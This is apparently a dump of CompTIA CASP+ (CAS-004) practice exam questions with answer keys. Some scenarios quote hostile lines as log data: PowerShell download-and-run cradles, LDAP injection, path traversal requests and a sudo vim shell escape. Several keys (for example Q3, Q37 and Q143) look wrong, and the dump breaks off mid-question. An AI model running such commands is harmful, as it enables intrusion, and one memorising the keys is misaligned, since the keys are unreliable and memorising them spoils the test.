



CompTIA

Exam Questions CAS-004

CompTIA Advanced Security Practitioner (CASP+) Exam

NEW QUESTION 1

A company is looking for a solution to hide data stored in databases. The solution must meet the following requirements:

- Be efficient at protecting the production environment
- Not require any change to the application
- Act at the presentation layer

Which of the following techniques should be used?

- A. Masking
- B. Tokenization
- C. Algorithmic
- D. Random substitution

Answer: A

NEW QUESTION 2

An attacker infiltrated an electricity-generation site and disabled the safety instrumented system. Ransomware was also deployed on the engineering workstation. The environment has back-to-back firewalls separating the corporate and OT systems. Which of the following is the MOST likely security consequence of this attack?

- A. A turbine would overheat and cause physical harm.
- B. The engineers would need to go to the historian.
- C. The SCADA equipment could not be maintained.
- D. Data would be exfiltrated through the data diodes.

Answer: A

NEW QUESTION 3

A company wants to quantify and communicate the effectiveness of its security controls but must establish measures. Which of the following is MOST likely to be included in an effective assessment roadmap for these controls?

- A. Create a change management process.
- B. Establish key performance indicators.
- C. Create an integrated master schedule.
- D. Develop a communication plan.
- E. Perform a security control assessment.

Answer: C

NEW QUESTION 4

The Chief information Officer (CIO) asks the system administrator to improve email security at the company based on the following requirements:

- * Transaction being requested by unauthorized individuals.
- * Complete discretion regarding client names, account numbers, and investment information.
- * Malicious attackers using email to malware and ransomware.
- * Exfiltration of sensitive company information.

The cloud-based email solution will provide anti-malware reputation-based scanning, signature-based scanning, and sandboxing. Which of the following is the BEST option to resolve the board's concerns for this email migration?

- A. Data loss prevention
- B. Endpoint detection response
- C. SSL VPN
- D. Application whitelisting

Answer: A

NEW QUESTION 5

Due to locality and budget constraints, an organization's satellite office has a lower bandwidth allocation than other offices in the organization. As a result, the local security infrastructure staff is assessing architectural options that will help preserve network bandwidth and increase speed to both internal and external resources while not sacrificing threat visibility.

Which of the following would be the BEST option to implement?

- A. Distributed connection allocation
- B. Local caching
- C. Content delivery network
- D. SD-WAN vertical heterogeneity

Answer: C

NEW QUESTION 6

An application developer is including third-party background security fixes in an application. The fixes seem to resolve a currently identified security issue. However, when the application is released to the public, report come in that a previously vulnerability has returned. Which of the following should the developer integrate into the process to BEST prevent this type of behavior?

- A. Peer review
- B. Regression testing
- C. User acceptance

D. Dynamic analysis

Answer: A

NEW QUESTION 7

A security analyst has noticed a steady increase in the number of failed login attempts to the external-facing mail server. During an investigation of one of the jump boxes, the analyst identified the following in the log file: powershell EX(New-Object Net.WebClient).DownloadString ('https://content.comptia.org/casp/whois.psl');whois
 Which of the following security controls would have alerted and prevented the next phase of the attack?

- A. Antivirus and UEBA
- B. Reverse proxy and sandbox
- C. EDR and application approved list
- D. Forward proxy and MFA

Answer: C

Explanation:

An EDR and whitelist should protect from this attack.

NEW QUESTION 8

Which of the following is the MOST important cloud-specific risk from the CSP's viewpoint?

- A. Isolation control failure
- B. Management plane breach
- C. Insecure data deletion
- D. Resource exhaustion

Answer: B

NEW QUESTION 9

A software house is developing a new application. The application has the following requirements: Reduce the number of credential requests as much as possible
 Integrate with social networks
 Authenticate users
 Which of the following is the BEST federation method to use for the application?

- A. WS-Federation
- B. OpenID
- C. OAuth
- D. SAML

Answer: D

NEW QUESTION 10

An organization wants to perform a scan of all its systems against best practice security configurations. Which of the following SCAP standards, when combined, will enable the organization to view each of the configuration checks in a machine-readable checklist format for fill automation? (Choose two.)

- A. ARF
- B. XCCDF
- C. CPE
- D. CVE
- E. CVSS
- F. OVAL

Answer: BF

NEW QUESTION 10

Device event logs sources from MDM software as follows:

Device	Date/Time	Location	Event	Description
ANDROID_1022	01JAN21 0255	39.9072N, 77.0369W	PUSH	APPLICATION 1220 INSTALL QUEUED
ANDROID_1022	01JAN21 0301	39.9072N, 77.0369W	INVENTORY	APPLICATION 1220 ADDED
ANDROID_1022	01JAN21 0701	39.0067N, 77.4291W	CHECK-IN	NORMAL
ANDROID_1022	01JAN21 0701	25.2854N, 51.5310E	CHECK-IN	NORMAL
ANDROID_1022	01JAN21 0900	39.0067N, 77.4291W	CHECK-IN	NORMAL
ANDROID_1022	01JAN21 1030	39.0067N, 77.4291W	STATUS	LOCAL STORAGE REPORTING 85% FULL

Which of the following security concerns and response actions would BEST address the risks posed by the device in the logs?

- A. Malicious installation of an application; change the MDM configuration to remove application ID 1220.
- B. Resource leak; recover the device for analysis and clean up the local storage.
- C. Impossible travel; disable the device's account and access while investigating.
- D. Falsified status reporting; remotely wipe the device.

Answer: A

NEW QUESTION 11

A healthcare system recently suffered from a ransomware incident. As a result, the board of directors decided to hire a security consultant to improve existing network security. The security consultant found that the healthcare network was completely flat, had no privileged access limits, and had open RDP access to servers with personal health information. As the consultant builds the remediation plan, which of the following solutions would BEST solve these challenges? (Select THREE).

- A. SD-WAN
- B. PAM
- C. Remote access VPN
- D. MFA
- E. Network segmentation
- F. BGP
- G. NAC

Answer: ACE

NEW QUESTION 13

An auditor is reviewing the logs from a web application to determine the source of an incident. The web application architecture includes an Internet-accessible application load balancer, a number of web servers in a private subnet, application servers, and one database server in a tiered configuration. The application load balancer cannot store the logs. The following are sample log snippets:

```
web server logs
192.168.1.10 - - [24/Oct/2020 11:24:34 +05:00] "GET /../../../../bin/bash" HTTP/1.1" 200 453 Safari/536.36
192.168.1.10 - - [24/Oct/2020 11:24:35 +05:00] "/" HTTP/1.1" 200 453 Safari/536.36
```

```
application server logs
14/Oct/2020 11:24:34 +05:00 - 192.168.2.11 - request does not match a known local user. Querying DB
14/Oct/2020 11:24:35 +05:00 - 192.168.2.12 - root path. Begin processing
```

```
database server logs
14/Oct/2020 11:24:34 +05:00 [Warning] 'option read_buffer_size' unassigned value 0 adjusted to 2048
14/Oct/2020 11:24:35 +05:00 [Warning] CA certificate ca.pem is self signed.
```

Which of the following should the auditor recommend to ensure future incidents can be traced back to the sources?

- A. Enable the x-Forwarded-For header at the load balancer.
- B. Install a software-based HIDS on the application servers.
- C. Install a certificate signed by a trusted CA.
- D. Use stored procedures on the database server.
- E. Store the value of the \$_server (' REMOTE_ADDR '] received by the web servers.

Answer: C

NEW QUESTION 18

During a system penetration test, a security engineer successfully gained access to a shell on a Linux host as a standard user and wants to elevate the privilege levels.

Which of the following is a valid Linux post-exploitation method to use to accomplish this goal?

- A. Spawn a shell using sudo and an escape string such as `sudo vim -c '!sh'`.
- B. Perform ASIC password cracking on the host.
- C. Read the `/etc/passwd` file to extract the usernames.
- D. Initiate unquoted service path exploits.
- E. Use the UNION operator to extract the database schema.

Answer: A

NEW QUESTION 19

Leveraging cryptographic solutions to protect data that is in use ensures the data is encrypted:

- A. when it is passed across a local network.
- B. in memory during processing
- C. when it is written to a system's solid-state drive.
- D. by an enterprise hardware security module.

Answer: B

NEW QUESTION 20

An organization is considering a BYOD standard to support remote working. The first iteration of the solution will utilize only approved collaboration applications and the ability to move corporate data between those applications. The security team has concerns about the following:

- Unstructured data being exfiltrated after an employee leaves the organization
- Data being exfiltrated as a result of compromised credentials
- Sensitive information in emails being exfiltrated

Which of the following solutions should the security team implement to mitigate the risk of data loss?

- A. Mobile device management, remote wipe, and data loss detection
- B. Conditional access, DoH, and full disk encryption
- C. Mobile application management, MFA, and DRM
- D. Certificates, DLP, and geofencing

Answer: A

NEW QUESTION 23

A development team created a mobile application that contacts a company's back-end APIs housed in a PaaS environment. The APIs have been experiencing high processor utilization due to scraping activities. The security engineer needs to recommend a solution that will prevent and remedy the behavior. Which of the following would BEST safeguard the APIs? (Choose two.)

- A. Bot protection
- B. OAuth 2.0
- C. Input validation
- D. Autoscaling endpoints
- E. Rate limiting
- F. CSRF protection

Answer: DE

NEW QUESTION 26

A large telecommunications equipment manufacturer needs to evaluate the strengths of security controls in a new telephone network supporting first responders. Which of the following techniques would the company use to evaluate data confidentiality controls?

- A. Eavesdropping
- B. On-path
- C. Cryptanalysis
- D. Code signing
- E. RF sidelobe sniffing

Answer: A

NEW QUESTION 30

Which of the following represents the MOST significant benefit of implementing a passwordless authentication solution?

- A. Biometric authenticators are immutable.
- B. The likelihood of account compromise is reduced.
- C. Zero trust is achieved.
- D. Privacy risks are minimized.

Answer: B

NEW QUESTION 33

A developer implement the following code snippet.

```
catch (Exception e)
{
    if(log.IsDebugEnabled())
    {
        log.debug("Caught InvalidOSMException Exception --"
            + e.toString());
    }
}
```

Which of the following vulnerabilities does the code snippet resolve?

- A. SQL inject
- B. Buffer overflow
- C. Missing session limit
- D. Information leakage

Answer: D

NEW QUESTION 35

A company's finance department acquired a new payment system that exports data to an unencrypted file on the system. The company implemented controls on the file so only appropriate personnel are allowed access. Which of the following risk techniques did the department use in this situation?

- A. Accept
- B. Avoid
- C. Transfer
- D. Mitigate

Answer: D

NEW QUESTION 37

Company A is establishing a contractual with Company B. The terms of the agreement are formalized in a document covering the payment terms, limitation of liability, and intellectual property rights. Which of the following documents will MOST likely contain these elements

- A. Company A-B SLA v2.docx
- B. Company A OLA v1b.docx
- C. Company A MSA v3.docx
- D. Company A MOU v1.docx
- E. Company A-B NDA v03.docx

Answer: A

NEW QUESTION 38

Technicians have determined that the current server hardware is outdated, so they have decided to throw it out. Prior to disposal, which of the following is the BEST method to use to ensure no data remnants can be recovered?

- A. Drive wiping
- B. Degaussing
- C. Purging
- D. Physical destruction

Answer: B

NEW QUESTION 39

A company is migrating from company-owned phones to a BYOD strategy for mobile devices. The pilot program will start with the executive management team and be rolled out to the rest of the staff in phases. The company's Chief Financial Officer loses a phone multiple times a year. Which of the following will MOST likely secure the data on the lost device?

- A. Require a VPN to be active to access company data.
- B. Set up different profiles based on the person's risk.
- C. Remotely wipe the device.
- D. Require MFA to access company applications.

Answer: D

NEW QUESTION 44

A company is looking to fortify its cybersecurity defenses and is focusing on its network infrastructure. The solution cannot affect the availability of the company's services to ensure false positives do not drop legitimate traffic. Which of the following would satisfy the requirement?

- A. NIDS
- B. NIPS
- C. WAF
- D. Reverse proxy

Answer: A

NEW QUESTION 47

A company security engineer arrives at work to face the following scenario:

- 1) Website defacement
 - 2) Calls from the company president indicating the website needs to be fixed immediately because it is damaging the brand
 - 3) A job offer from the company's competitor
 - 4) A security analyst's investigative report, based on logs from the past six months, describing how lateral movement across the network from various IP addresses originating from a foreign adversary country resulted in exfiltrated data
- Which of the following threat actors is MOST likely involved?

- A. Organized crime
- B. Script kiddie
- C. APT/nation-state
- D. Competitor

Answer: C

NEW QUESTION 49

Which of the following are risks associated with vendor lock-in? (Choose two.)

- A. The client can seamlessly move data.
- B. The vendor can change product offerings.
- C. The client receives a sufficient level of service.
- D. The client experiences decreased quality of service.
- E. The client can leverage a multicloud approach.
- F. The client experiences increased interoperability.

Answer: BD

NEW QUESTION 54

An auditor needs to scan documents at rest for sensitive text. These documents contain both text and images. Which of the following software functionalities must be enabled in the DLP solution for the auditor to be able to fully read these documents? (Select TWO).

- A. Document interpolation
- B. Regular expression pattern matching
- C. Optical character recognition functionality
- D. Baseline image matching
- E. Advanced rasterization
- F. Watermarking

Answer: AC

NEW QUESTION 57

An organization is referencing NIST best practices for BCP creation while reviewing current internal organizational processes for mission-essential items. Which of the following phases establishes the identification and prioritization of critical systems and functions?

- A. Review a recent gap analysis.
- B. Perform a cost-benefit analysis.
- C. Conduct a business impact analysis.
- D. Develop an exposure factor matrix.

Answer: C

NEW QUESTION 62

A security engineer was auditing an organization's current software development practice and discovered that multiple open-source libraries were integrated into the organization's software. The organization currently performs SAST and DAST on the software it develops. Which of the following should the organization incorporate into the SDLC to ensure the security of the open-source libraries?

- A. Perform additional SAST/DAST on the open-source libraries.
- B. Implement the SDLC security guidelines.
- C. Track the library versions and monitor the CVE website for related vulnerabilities.
- D. Perform unit testing of the open-source libraries.

Answer: D

NEW QUESTION 66

A security consultant needs to set up wireless security for a small office that does not have Active Directory. Despite the lack of central account management, the office manager wants to ensure a high level of defense to prevent brute-force attacks against wireless authentication. Which of the following technologies would BEST meet this need?

- A. Faraday cage
- B. WPA2 PSK
- C. WPA3 SAE
- D. WEP 128 bit

Answer: C

Explanation:

WPA3 SAE prevents brute-force attacks.

"WPA3 Personal (WPA-3 SAE) Mode is a static passphrase-based method. It provides better security than what WPA2 previously provided, even when a non-complex password is used, thanks to Simultaneous Authentication of Equals (SAE), the personal authentication process of WPA3."

NEW QUESTION 67

A company plans to build an entirely remote workforce that utilizes a cloud-based infrastructure. The Chief Information Security Officer asks the security engineer to design connectivity to meet the following requirements:

Only users with corporate-owned devices can directly access servers hosted by the cloud provider.

User browser activity can be monitored.

Which of the following solutions would BEST meet these requirements?

- A. IAM gateway, MDM, and reverse proxy
- B. VPN, CASB, and secure web gateway
- C. SSL tunnel, DLP, and host-based firewall
- D. API gateway, UEM, and forward proxy

Answer: B

NEW QUESTION 72

A company has hired a security architect to address several service outages on the endpoints due to new malware. The Chief Executive Officer's laptop was impacted while working from home. The goal is to prevent further endpoint disruption. The edge network is protected by a web proxy.

Which of the following solutions should the security architect recommend?

- A. Replace the current antivirus with an EDR solution.
- B. Remove the web proxy and install a UTM appliance.
- C. Implement a deny list feature on the endpoints.
- D. Add a firewall module on the current antivirus solution.

Answer: A

NEW QUESTION 76

Based on PCI DSS v3.4, One Particular database field can store data, but the data must be unreadable. which of the following data objects meets this requirement?

- A. PAN
- B. CVV2
- C. Cardholder name
- D. expiration date

Answer: A

NEW QUESTION 79

The Chief information Officer (CIO) wants to implement enterprise mobility throughout the organization. The goal is to allow employees access to company resources. However the CIO wants the ability to enforce configuration settings, manage data, and manage both company-owned and personal devices. Which of the following should the CIO implement to achieve this goal?

- A. BYOO
- B. CYOD
- C. COPE
- D. MDM

Answer: A

NEW QUESTION 84

Over the last 90 days, many storage services has been exposed in the cloud services environments, and the security team does not have the ability to see is creating these instance. Shadow IT is creating data services and instances faster than the small security team can keep up with them. The Chief information security Officer (CIASO) has asked the security officer (CISO) has asked the security lead architect to architect to recommend solutions to this problem. Which of the following BEST addresses the problem best address the problem with the least amount of administrative effort?

- A. Compile a list of firewall requests and compare than against interesting cloud services.
- B. Implement a CASB solution and track cloud service use cases for greater visibility.
- C. Implement a user-behavior system to associate user events and cloud service creation events.
- D. Capture all log and feed then to a SIEM and then for cloud service events

Answer: C

NEW QUESTION 89

A security analyst discovered that the company's WAF was not properly configured. The main web server was breached, and the following payload was found in one of the malicious requests:

```
(&(objectClass=*) (objectClass=*)) (&(objectClass=void) (type=admin))
```

Which of the following would BEST mitigate this vulnerability?

- A. Network intrusion prevention
- B. Data encoding
- C. Input validation
- D. CAPTCHA

Answer: C

NEW QUESTION 94

A company's product site recently had failed API calls, resulting in customers being unable to check out and purchase products. This type of failure could lead to the loss of customers and damage to the company's reputation in the market.

Which of the following should the company implement to address the risk of system unavailability?

- A. User and entity behavior analytics
- B. Redundant reporting systems
- C. A self-healing system
- D. Application controls

Answer: D

NEW QUESTION 97

A security analyst observes the following while looking through network traffic in a company's cloud log:

```
Nov 02 23:19:42 vpcvirtualhost VPCLogs 224289449368 eni-379ec4f1 10.0.5.52 10.0.50.6 241 79 6 1 40 1604359182 1604359242 ACCEPT OK
Nov 02 23:19:42 vpcvirtualhost VPCLogs 224289449368 eni-379ec4f1 10.0.5.52 172.32.6.66 443 63768 6 1 40 1604359182 1604359242 REJECT OK
Nov 02 23:19:44 vpcvirtualhost VPCLogs 224289449368 eni-379ec4f1 10.0.5.52 172.32.6.66 443 58664 6 1 40 1604359182 1604359242 ACCEPT OK
Nov 02 23:19:46 vpcvirtualhost VPCLogs 224289449368 eni-379ec4f1 10.0.5.52 10.0.50.6 242 80 6 1 40 1604359182 1604359242 ACCEPT OK
Nov 02 23:19:47 vpcvirtualhost VPCLogs 224289449368 eni-379ec4f1 10.0.5.52 10.0.50.6 243 81 6 1 40 1604359182 1604359242 REJECT OK
Nov 02 23:20:01 vpcvirtualhost VPCLogs 224289449368 eni-379ec4f1 10.0.5.52 172.32.6.66 443 61593 6 1 40 1604359182 1604359242 ACCEPT OK
Nov 02 23:20:03 vpcvirtualhost VPCLogs 224289449368 eni-379ec4f1 10.0.5.52 172.32.6.66 443 64279 6 1 40 1604359182 1604359242 ACCEPT OK
Nov 02 23:20:05 vpcvirtualhost VPCLogs 224289449368 eni-379ec4f1 10.0.5.52 10.0.50.6 244 82 1 40 1604359182 1604359242 REJECT OK
Nov 02 23:20:19 vpcvirtualhost VPCLogs 224289449368 eni-379ec4f1 10.0.5.52 172.32.6.66 443 58783 6 1 40 1604359182 1604359242 ACCEPT OK
```

Which of the following steps should the security analyst take FIRST?

- A. Quarantine 10.0.5.52 and run a malware scan against the host.
- B. Access 10.0.5.52 via EDR and identify processes that have network connections.
- C. Isolate 10.0.50.6 via security groups.
- D. Investigate web logs on 10.0.50.6 to determine if this is normal traffic.

Answer: D

NEW QUESTION 100

A satellite communications ISP frequently experiences outages and degraded modes of operation over one of its legacy satellite links due to the use of deprecated hardware and software. Three days per week, on average, a contracted company must follow a checklist of 16 different high-latency commands that must be run in

serial to restore nominal performance. The ISP wants this process to be automated. Which of the following techniques would be BEST suited for this requirement?

- A. Deploy SOAR utilities and runbooks.
- B. Replace the associated hardware.
- C. Provide the contractors with direct access to satellite telemetry data.
- D. Reduce link latency on the affected ground and satellite segments.

Answer: A

NEW QUESTION 103

A company undergoing digital transformation is reviewing the resiliency of a CSP and is concerned about meeting SLA requirements in the event of a CSP incident.

Which of the following would be BEST to proceed with the transformation?

- A. An on-premises solution as a backup
- B. A load balancer with a round-robin configuration
- C. A multicloud provider solution
- D. An active-active solution within the same tenant

Answer: C

Explanation:

An active-active cluster does nothing if the cloud provider goes down. One of the main features of multi-cloud is redundancy.

<https://www.cloudflare.com/learning/cloud/what-is-multicloud/>

NEW QUESTION 108

A cybersecurity analyst receives a ticket that indicates a potential incident is occurring. There has been a large in log files generated by a generated by a website containing a "Contact US" form. The analyst must determine if the increase in website traffic is due to a recent marketing campaign or if this is a potential incident. Which of the following would BEST assist the analyst?

- A. Ensuring proper input validation is configured on the "Contact US" form
- B. Deploy a WAF in front of the public website
- C. Checking for new rules from the inbound network IPS vendor
- D. Running the website log files through a log reduction and analysis tool

Answer: D

NEW QUESTION 111

A company just released a new video card. Due to limited supply and high demand, attackers are employing automated systems to purchase the device through the company's web store so they can resell it on the secondary market. The company's intended customers are frustrated. A security engineer suggests implementing a CAPTCHA system on the web store to help reduce the number of video cards purchased through automated systems. Which of the following now describes the level of risk?

- A. Inherent
- B. Low
- C. Mitigated
- D. Residual.
- E. Transferred

Answer: D

NEW QUESTION 115

The Chief Information Security Officer of a startup company has asked a security engineer to implement a software security program in an environment that previously had little oversight.

Which of the following testing methods would be BEST for the engineer to utilize in this situation?

- A. Software composition analysis
- B. Code obfuscation
- C. Static analysis
- D. Dynamic analysis

Answer: C

NEW QUESTION 119

The Chief information Officer (CIO) wants to establish a non-binding agreement with a third party that outlines the objectives of the mutual arrangement dealing with data transfers between both organizations before establishing a format partnership. Which of the follow would MOST likely be used?

- A. MOU
- B. OLA
- C. NDA
- D. SLA

Answer: A

NEW QUESTION 120

A customer reports being unable to connect to a website at www.test.com to consume services. The customer notices the web application has the following

published cipher suite:

```
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
Signature hash algorithm:
sha256
Public key:
RSA (2048 Bits)
.htaccess config:
<VirtualHost> *:80>
ServerName www.test.com
Redirect / https://www.test.com
</VirtualHost>
<VirtualHost _default_:443>
ServerName www.test.com
DocumentRoot /usr/local/apache2/htdocs
SSLEngine On
...
</VirtualHost>
```

Which of the following is the MOST likely cause of the customer's inability to connect?

- A. Weak ciphers are being used.
- B. The public key should be using ECDSA.
- C. The default should be on port 80.
- D. The server name should be test.com.

Answer: A

NEW QUESTION 124

A security engineer needs to implement a solution to increase the security posture of user endpoints by providing more visibility and control over local administrator accounts. The endpoint security team is overwhelmed with alerts and wants a solution that has minimal operational burdens. Additionally, the solution must maintain a positive user experience after implementation.

Which of the following is the BEST solution to meet these objectives?

- A. Implement Privileged Access Management (PAM), keep users in the local administrators group, and enable local administrator account monitoring.
- B. Implement PAM, remove users from the local administrators group, and prompt users for explicit approval when elevated privileges are required.
- C. Implement EDR, remove users from the local administrators group, and enable privilege escalation monitoring.
- D. Implement EDR, keep users in the local administrators group, and enable user behavior analytics.

Answer: B

NEW QUESTION 129

A local government that is investigating a data exfiltration claim was asked to review the fingerprint of the malicious user's actions. An investigator took a forensic image of the VM and downloaded the image to a secured USB drive to share with the government. Which of the following should be taken into consideration during the process of releasing the drive to the government?

- A. Encryption in transit
- B. Legal issues
- C. Chain of custody
- D. Order of volatility
- E. Key exchange

Answer: C

NEW QUESTION 134

An energy company is required to report the average pressure of natural gas used over the past quarter. A PLC sends data to a historian server that creates the required reports.

Which of the following historian server locations will allow the business to get the required reports in an and IT environment?

- A. In the environment, use a VPN from the IT environment into the environment.
- B. In the environment, allow IT traffic into the environment.
- C. In the IT environment, allow PLCs to send data from the environment to the IT environment.
- D. Use a screened subnet between the and IT environments.

Answer: C

NEW QUESTION 135

An organization is researching the automation capabilities for systems within an OT network. A security analyst wants to assist with creating secure coding practices and would like to learn about the programming languages used on the PLCs. Which of the following programming languages is the MOST relevant for PLCs?

- A. Ladder logic
- B. Rust
- C. C
- D. Python
- E. Java

Answer: A

NEW QUESTION 138

A security analyst notices a number of SIEM events that show the following activity:

```
10/30/2020 - 8:01 UTC - 192.168.1.1 - sc stop WinDefend
10/30/2020 - 8:05 UTC - 192.168.1.2 - c:\program files\games\comptiacasp.exe
10/30/2020 - 8:07 UTC - 192.168.1.1 - c:\windows\system32\cmd.exe /c powershell https://content.comptia.com/content.exam.ps1
10/30/2020 - 8:07 UTC - 192.168.1.1 - powershell --> 40.90.23.154:443
```

Which of the following response actions should the analyst take FIRST?

- A. Disable powershell.exe on all Microsoft Windows endpoints.
- B. Restart Microsoft Windows Defender.
- C. Configure the forward proxy to block 40.90.23.154.
- D. Disable local administrator privileges on the endpoints.

Answer: C

Explanation:

top the data exfiltration and sever all malicious traffic first, and then clean up the internal mess.

NEW QUESTION 143

The Chief information Security Officer (CISO) of a small locate bank has a compliance requirement that a third-party penetration test of the core banking application must be conducted annually. Which of the following services would fulfill the compliance requirement with the LOWEST resource usage?

- A. Black-box testing
- B. Gray-box testing
- C. Red-team hunting
- D. White-box testing
- E. Blue-learn exercises

Answer: C

NEW QUESTION 147

A security architect for a large, multinational manufacturer needs to design and implement a security solution to monitor traffic. When designing the solution, which of the following threats should the security architect focus on to prevent attacks against the network?

- A. Packets that are the wrong size or length
- B. Use of any non-DNP3 communication on a DNP3 port
- C. Multiple solicited responses over time
- D. Application of an unsupported encryption algorithm

Answer: C

NEW QUESTION 150

The Chief information Officer (CIO) of a large bank, which uses multiple third-party organizations to deliver a service, is concerned about the handling and security of customer data by the parties. Which of the following should be implemented to BEST manage the risk?

- A. Establish a review committee that assesses the importance of suppliers and ranks them according to contract renewal
- B. At the time of contract renewal, incorporate designs and operational controls into the contracts and a right-to-audit clause
- C. Regularly assess the supplier's post-contract renewal with a dedicated risk management team.
- D. Establish a team using members from first line risk, the business unit, and vendor management to assess only design security controls of all supplier
- E. Store findings from the reviews in a database for all other business units and risk teams to reference.
- F. Establish an audit program that regularly reviews all suppliers regardless of the data they access, how they access the data, and the type of data, Review all design and operational controls based on best practice standard and report the finding back to upper management.
- G. Establish a governance program that rates suppliers based on their access to data, the type of data, and how they access the data Assign key controls that are reviewed and managed based on the supplier's rating
- H. Report finding units that rely on the suppliers and the various risk teams.

Answer: A

NEW QUESTION 151

A security architect is reviewing the following proposed corporate firewall architecture and configuration:

DMZ architecture

```
Internet-----70.54.30.1-[Firewall_A]----192.168.1.0/24----[Firewall_B]----10.0.0.0/16----corporate net
```

Firewall_A ACL

```
10 PERMIT FROM 0.0.0.0/0 TO 192.168.1.0/24 TCP 80,443
20 DENY FROM 0.0.0.0/0 TO 0.0.0.0/0 TCP/UDP 0-65535
```

Firewall_B ACL

```
10 PERMIT FROM 10.0.0.0/16 TO 192.168.1.0/24 TCP 80,443
20 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0/0 TCP/UDP 0-65535
30 PERMIT FROM 192.168.1.0/24 TO $DB_SERVERS TCP/UDP 3306
40 DENY FROM 192.168.1.0/24 TO 10.0.0.0/16 TCP/UDP 0-65535
```

Both firewalls are stateful and provide Layer 7 filtering and routing. The company has the following requirements:

Web servers must receive all updates via HTTP/S from the corporate network. Web servers should not initiate communication with the Internet.

Web servers should only connect to preapproved corporate database servers.

Employees' computing devices should only connect to web services over ports 80 and 443.

Which of the following should the architect recommend to ensure all requirements are met in the MOST secure manner? (Choose two.)

- A. Add the following to Firewall_A: 15 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0/0 TCP 80,443
- B. Add the following to Firewall_A: 15 PERMIT FROM 192.168.1.0/24 TO 0.0.0.0 TCP 80,443
- C. Add the following to Firewall_A: 15 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0/0 TCP/UDP 0-65535
- D. Add the following to Firewall_B: 15 PERMIT FROM 0.0.0.0/0 TO 10.0.0.0/16 TCP/UDP 0-65535
- E. Add the following to Firewall_B: 15 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0 TCP/UDP 0-65535
- F. Add the following to Firewall_B: 15 PERMIT FROM 192.168.1.0/24 TO 10.0.2.10/32 TCP 80,443

Answer: AD

NEW QUESTION 155

Which of the following is required for an organization to meet the ISO 27018 standard?

- A. All PII must be encrypted.
- B. All network traffic must be inspected.
- C. GDPR equivalent standards must be met
- D. COBIT equivalent standards must be met

Answer: A

NEW QUESTION 159

A company launched a new service and created a landing page within its website network for users to access the service. Per company policy, all websites must utilize encryption for any authentication pages. A junior network administrator proceeded to use an outdated procedure to order new certificates. Afterward, customers are reporting the following error when accessing a new web page: NET:ERR_CERT_COMMON_NAME_INVALID. Which of the following BEST describes what the administrator should do NEXT?

- A. Request a new certificate with the correct subject alternative name that includes the new websites.
- B. Request a new certificate with the correct organizational unit for the company's website.
- C. Request a new certificate with a stronger encryption strength and the latest cipher suite.
- D. Request a new certificate with the same information but including the old certificate on the CRL.

Answer: D

NEW QUESTION 162

An organization is implementing a new identity and access management architecture with the following objectives:

Supporting MFA against on-premises infrastructure

Improving the user experience by integrating with SaaS applications Applying risk-based policies based on location Performing just-in-time provisioning

Which of the following authentication protocols should the organization implement to support these requirements?

- A. Kerberos and TACACS
- B. SAML and RADIUS
- C. OAuth and OpenID
- D. OTP and 802.1X

Answer: C

NEW QUESTION 164

While investigating a security event, an analyst finds evidence that a user opened an email attachment from an unknown source. Shortly after the user opened the attachment, a group of servers experienced a large amount of network and resource activity. Upon investigating the servers, the analyst discovers the servers were encrypted by ransomware that is demanding payment within 48 hours or all data will be destroyed. The company has no response plans for ransomware. Which of the following is the NEXT step the analyst should take after reporting the incident to the management team?

- A. Pay the ransom within 48 hours.
- B. Isolate the servers to prevent the spread.
- C. Notify law enforcement.

D. Request that the affected servers be restored immediately.

Answer: B

NEW QUESTION 166

A security analyst is reviewing network connectivity on a Linux workstation and examining the active TCP connections using the command line. Which of the following commands would be the BEST to run to view only active Internet connections?

- A. `sudo netstat -antu | grep "LISTEN" | awk '{print$5}'`
- B. `sudo netstat -nlt -p | grep "ESTABLISHED"`
- C. `sudo netstat -plntu | grep -v "Foreign Address"`
- D. `sudo netstat -pnut -w | column -t -s '$\w'`
- E. `sudo netstat -pnut | grep -P ^tcp`

Answer: E

NEW QUESTION 171

A DevOps team has deployed databases, event-driven services, and an API gateway as PaaS solution that will support a new billing system. Which of the following security responsibilities will the DevOps team need to perform?

- A. Securely configure the authentication mechanisms
- B. Patch the infrastructure at the operating system
- C. Execute port scanning against the services
- D. Upgrade the service as part of life-cycle management

Answer: A

NEW QUESTION 172

A security engineer estimates the company's popular web application experiences 100 attempted breaches per day. In the past four years, the company's data has been breached two times.

Which of the following should the engineer report as the ARO for successful breaches?

- A. 0.5
- B. 8
- C. 50
- D. 36,500

Answer: A

NEW QUESTION 174

Company A acquired Company B. During an audit, a security engineer found Company B's environment was inadequately patched. In response, Company A placed a firewall between the two environments until Company B's infrastructure could be integrated into Company A's security program.

Which of the following risk-handling techniques was used?

- A. Accept
- B. Avoid
- C. Transfer
- D. Mitigate

Answer: D

NEW QUESTION 178

An IT administrator is reviewing all the servers in an organization and notices that a server is missing crucial practice against a recent exploit that could gain root access.

Which of the following describes the administrator's discovery?

- A. A vulnerability
- B. A threat
- C. A breach
- D. A risk

Answer: A

NEW QUESTION 180

Which of the following controls primarily detects abuse of privilege but does not prevent it?

- A. Off-boarding
- B. Separation of duties
- C. Least privilege
- D. Job rotation

Answer: A

NEW QUESTION 183

An auditor needs to scan documents at rest for sensitive text. These documents contain both text and images. Which of the following software functionalities must

be enabled in the DLP solution for the auditor to be able to fully read these documents? (Select TWO).

- A. Document interpolation
- B. Regular expression pattern matching
- C. Optical character recognition functionality
- D. Baseline image matching
- E. Advanced rasterization
- F. Watermarking

Answer: AC

NEW QUESTION 184

An engineering team is developing and deploying a fleet of mobile devices to be used for specialized inventory management purposes. These devices should:

- * Be based on open-source Android for user familiarity and ease.
- * Provide a single application for inventory management of physical assets.
- * Permit use of the camera be only the inventory application for the purposes of scanning
- * Disallow any and all configuration baseline modifications.
- * Restrict all access to any device resource other than those requirement ?

- A. Set an application wrapping policy, wrap the application, distributes the inventory APK via the MAM tool, and test the application restrictions.
- B. Write a MAC sepolicy that defines domains with rules, label the inventory application, build the policy, and set to enforcing mode.
- C. Swap out Android Linux kernel version for >2,4,0, but the internet build Android, remove unnecessary functions via MDL, configure to block network access, and perform integration testing
- D. Build and install an Android middleware policy with requirements added, copy the file into/ user/init, and then built the inventory application.

Answer: A

NEW QUESTION 189

A security analyst needs to recommend a remediation to the following threat:

```
GET http://comptia.com/casp/search?q=scriptingcrc
GET http://comptia.com/casp/..%5C../Windows/System32/cmd.exe?/c+sql+s:\
